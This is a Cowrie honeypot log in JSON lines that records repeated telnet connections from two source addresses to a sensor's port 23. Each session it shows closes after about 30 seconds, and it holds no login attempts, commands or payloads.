{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4450f2dc4b47","protocol":"telnet","message":"New connection: 208.115.200.90:33176 (10.17.0.5:23) [session: 4450f2dc4b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.713357Z"}
{"eventid":"cowrie.session.closed","duration":30.883919954299927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.013518Z","src_ip":"208.115.219.122","session":"462a85129283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784566402435303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.020714Z","src_ip":"208.115.219.122","session":"60305578e567","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026325464248657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.044533Z","src_ip":"208.115.200.90","session":"2987fb35cf42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785314083099365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.049882Z","src_ip":"208.115.200.90","session":"a47e0fb19f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57245373725891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.066849Z","src_ip":"208.115.200.90","session":"cdc4569d6de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400473833084106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.104375Z","src_ip":"208.115.219.122","session":"225ccb1c63c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33318,"dst_ip":"10.17.0.5","dst_port":23,"session":"d907d03f10b5","protocol":"telnet","message":"New connection: 208.115.200.90:33318 (10.17.0.5:23) [session: d907d03f10b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.220012Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04d0c0506ae","protocol":"telnet","message":"New connection: 208.115.200.90:33330 (10.17.0.5:23) [session: b04d0c0506ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.229515Z"}
{"eventid":"cowrie.session.closed","duration":31.212868690490723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.264224Z","src_ip":"208.115.200.90","session":"4b11119cfee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4dc99c7e9f","protocol":"telnet","message":"New connection: 208.115.200.90:33336 (10.17.0.5:23) [session: 8a4dc99c7e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.268504Z"}
{"eventid":"cowrie.session.closed","duration":30.84670376777649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.359055Z","src_ip":"208.115.200.90","session":"455cfb59efa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97839879989624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.383142Z","src_ip":"208.115.200.90","session":"e7cd304c3c40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33364,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2c6154490a","protocol":"telnet","message":"New connection: 208.115.200.90:33364 (10.17.0.5:23) [session: 3e2c6154490a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:53.450279Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34a04258b1f","protocol":"telnet","message":"New connection: 208.115.200.90:33548 (10.17.0.5:23) [session: c34a04258b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.088794Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33560,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ead252a56da","protocol":"telnet","message":"New connection: 208.115.200.90:33560 (10.17.0.5:23) [session: 5ead252a56da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.111198Z"}
{"eventid":"cowrie.session.closed","duration":30.946970224380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.124717Z","src_ip":"208.115.200.90","session":"371256d829d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33590,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9526e06b9ee","protocol":"telnet","message":"New connection: 208.115.200.90:33590 (10.17.0.5:23) [session: f9526e06b9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.203593Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33602,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b26678ff7a6","protocol":"telnet","message":"New connection: 208.115.200.90:33602 (10.17.0.5:23) [session: 6b26678ff7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.232936Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46844,"dst_ip":"10.17.0.5","dst_port":23,"session":"067c79c7a377","protocol":"telnet","message":"New connection: 208.115.219.122:46844 (10.17.0.5:23) [session: 067c79c7a377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.255369Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33614,"dst_ip":"10.17.0.5","dst_port":23,"session":"871c00cbbed4","protocol":"telnet","message":"New connection: 208.115.200.90:33614 (10.17.0.5:23) [session: 871c00cbbed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.271144Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece0b26a2343","protocol":"telnet","message":"New connection: 208.115.200.90:37398 (10.17.0.5:23) [session: ece0b26a2343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.372396Z"}
{"eventid":"cowrie.session.closed","duration":31.264152765274048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.404259Z","src_ip":"208.115.219.122","session":"82599b42d616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46856,"dst_ip":"10.17.0.5","dst_port":23,"session":"0438f6656a28","protocol":"telnet","message":"New connection: 208.115.219.122:46856 (10.17.0.5:23) [session: 0438f6656a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.468963Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b98b2c8707","protocol":"telnet","message":"New connection: 208.115.219.122:46798 (10.17.0.5:23) [session: f0b98b2c8707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.475342Z"}
{"eventid":"cowrie.session.closed","duration":31.53636622428894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.745568Z","src_ip":"208.115.219.122","session":"bd790a732665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549400329589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:54.880814Z","src_ip":"208.115.200.90","session":"40f2514461e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837610721588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.020617Z","src_ip":"208.115.219.122","session":"0e90db7ba5c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244204998016357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.026677Z","src_ip":"208.115.200.90","session":"694724f01b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66ba9ac24c2","protocol":"telnet","message":"New connection: 208.115.200.90:37472 (10.17.0.5:23) [session: b66ba9ac24c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.061128Z"}
{"eventid":"cowrie.session.closed","duration":31.068827390670776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.093283Z","src_ip":"208.115.200.90","session":"9c4e3e226ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734516620635986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.128337Z","src_ip":"208.115.200.90","session":"0671b825ba31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ed0f008991","protocol":"telnet","message":"New connection: 208.115.200.90:37478 (10.17.0.5:23) [session: 88ed0f008991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.197115Z"}
{"eventid":"cowrie.session.closed","duration":31.123205423355103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.216852Z","src_ip":"208.115.200.90","session":"a54f9fb326e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914906978607178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.236504Z","src_ip":"208.115.200.90","session":"658b48216629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37492,"dst_ip":"10.17.0.5","dst_port":23,"session":"7203d29a33e2","protocol":"telnet","message":"New connection: 208.115.200.90:37492 (10.17.0.5:23) [session: 7203d29a33e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.297969Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac96b8621b2c","protocol":"telnet","message":"New connection: 208.115.200.90:37494 (10.17.0.5:23) [session: ac96b8621b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.413364Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37510,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c883cf23e37","protocol":"telnet","message":"New connection: 208.115.200.90:37510 (10.17.0.5:23) [session: 7c883cf23e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.500598Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37512,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee61d97759e","protocol":"telnet","message":"New connection: 208.115.200.90:37512 (10.17.0.5:23) [session: 6ee61d97759e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.506485Z"}
{"eventid":"cowrie.session.closed","duration":31.31386399269104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.787003Z","src_ip":"208.115.200.90","session":"9a971e31b00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66093349456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.889788Z","src_ip":"208.115.219.122","session":"69f0b72c1d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9746f9354d85","protocol":"telnet","message":"New connection: 208.115.219.122:55498 (10.17.0.5:23) [session: 9746f9354d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:55.994753Z"}
{"eventid":"cowrie.session.closed","duration":30.34833264350891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.021669Z","src_ip":"208.115.219.122","session":"ed0798d53a34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c13f753be1d","protocol":"telnet","message":"New connection: 208.115.219.122:55504 (10.17.0.5:23) [session: 4c13f753be1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.102484Z"}
{"eventid":"cowrie.session.closed","duration":30.712982654571533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.136990Z","src_ip":"208.115.200.90","session":"91b645d91896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37632,"dst_ip":"10.17.0.5","dst_port":23,"session":"f235e8eb8724","protocol":"telnet","message":"New connection: 208.115.200.90:37632 (10.17.0.5:23) [session: f235e8eb8724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.172059Z"}
{"eventid":"cowrie.session.closed","duration":30.68897294998169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.177137Z","src_ip":"208.115.200.90","session":"f20fa8af109d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecf67e442d30","protocol":"telnet","message":"New connection: 208.115.200.90:37638 (10.17.0.5:23) [session: ecf67e442d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.329900Z"}
{"eventid":"cowrie.session.closed","duration":31.163305282592773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.373495Z","src_ip":"208.115.200.90","session":"5318f9a0a71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645090341567993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.408965Z","src_ip":"208.115.200.90","session":"fda3c88c2a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e221f47e43d8","protocol":"telnet","message":"New connection: 208.115.200.90:37652 (10.17.0.5:23) [session: e221f47e43d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.567916Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33394,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b49b4a9ed1","protocol":"telnet","message":"New connection: 208.115.200.90:33394 (10.17.0.5:23) [session: 95b49b4a9ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:56.649437Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3d46dda5b6","protocol":"telnet","message":"New connection: 208.115.219.122:46814 (10.17.0.5:23) [session: ec3d46dda5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.043281Z"}
{"eventid":"cowrie.session.closed","duration":30.78644323348999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.050363Z","src_ip":"208.115.200.90","session":"cf768c4ed90b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66202425956726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.131982Z","src_ip":"208.115.219.122","session":"8046bc48c2c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c352fe18d71","protocol":"telnet","message":"New connection: 208.115.200.90:37826 (10.17.0.5:23) [session: 0c352fe18d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.136494Z"}
{"eventid":"cowrie.session.closed","duration":30.778861045837402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.143544Z","src_ip":"208.115.219.122","session":"6e759f47aca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37836,"dst_ip":"10.17.0.5","dst_port":23,"session":"467171322f35","protocol":"telnet","message":"New connection: 208.115.200.90:37836 (10.17.0.5:23) [session: 467171322f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.308743Z"}
{"eventid":"cowrie.session.closed","duration":30.851783514022827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.360055Z","src_ip":"208.115.200.90","session":"1229f5275b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcbb9423f2c8","protocol":"telnet","message":"New connection: 208.115.200.90:37858 (10.17.0.5:23) [session: fcbb9423f2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.393884Z"}
{"eventid":"cowrie.session.closed","duration":30.613205671310425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.400306Z","src_ip":"208.115.200.90","session":"bc29cd6c09bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88251566886902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.409938Z","src_ip":"208.115.200.90","session":"971ee9e3fb50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007960557937622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.436764Z","src_ip":"208.115.200.90","session":"78b3dc57e5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37866,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f86f48e95ea","protocol":"telnet","message":"New connection: 208.115.200.90:37866 (10.17.0.5:23) [session: 4f86f48e95ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.445726Z"}
{"eventid":"cowrie.session.closed","duration":31.644564151763916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.706013Z","src_ip":"208.115.200.90","session":"e4279cc297b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c84d7cc695a","protocol":"telnet","message":"New connection: 208.115.200.90:37996 (10.17.0.5:23) [session: 2c84d7cc695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.755481Z"}
{"eventid":"cowrie.session.closed","duration":31.608630895614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:57.939428Z","src_ip":"208.115.200.90","session":"376096d007ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38182,"dst_ip":"10.17.0.5","dst_port":23,"session":"772f6faa1ae4","protocol":"telnet","message":"New connection: 208.115.200.90:38182 (10.17.0.5:23) [session: 772f6faa1ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.061108Z"}
{"eventid":"cowrie.session.closed","duration":30.889896154403687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.221420Z","src_ip":"208.115.200.90","session":"f40a91b803ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196250915527344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.267178Z","src_ip":"208.115.219.122","session":"18c1aedda85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858432054519653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.296355Z","src_ip":"208.115.200.90","session":"4be240974090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38204,"dst_ip":"10.17.0.5","dst_port":23,"session":"14604ce98740","protocol":"telnet","message":"New connection: 208.115.200.90:38204 (10.17.0.5:23) [session: 14604ce98740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.341560Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fcb7d2bb365","protocol":"telnet","message":"New connection: 208.115.200.90:37842 (10.17.0.5:23) [session: 7fcb7d2bb365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.375033Z"}
{"eventid":"cowrie.session.closed","duration":31.343038082122803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.464048Z","src_ip":"208.115.200.90","session":"844361154058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fce35c31206","protocol":"telnet","message":"New connection: 208.115.200.90:38208 (10.17.0.5:23) [session: 3fce35c31206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.476577Z"}
{"eventid":"cowrie.session.closed","duration":31.386127471923828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.600061Z","src_ip":"208.115.219.122","session":"353261102be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a5f631bddcc","protocol":"telnet","message":"New connection: 208.115.200.90:38218 (10.17.0.5:23) [session: 0a5f631bddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.757792Z"}
{"eventid":"cowrie.session.closed","duration":31.6252019405365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:58.880784Z","src_ip":"208.115.200.90","session":"4d92bab95d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f56feff5099","protocol":"telnet","message":"New connection: 208.115.200.90:38250 (10.17.0.5:23) [session: 6f56feff5099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.108270Z"}
{"eventid":"cowrie.session.closed","duration":30.917852878570557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.151985Z","src_ip":"208.115.200.90","session":"1e6b49ddef43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38270,"dst_ip":"10.17.0.5","dst_port":23,"session":"b889b523489d","protocol":"telnet","message":"New connection: 208.115.200.90:38270 (10.17.0.5:23) [session: b889b523489d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.194366Z"}
{"eventid":"cowrie.session.closed","duration":30.852595567703247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.214917Z","src_ip":"208.115.219.122","session":"5c959af5f496","protocol":"telnet"}
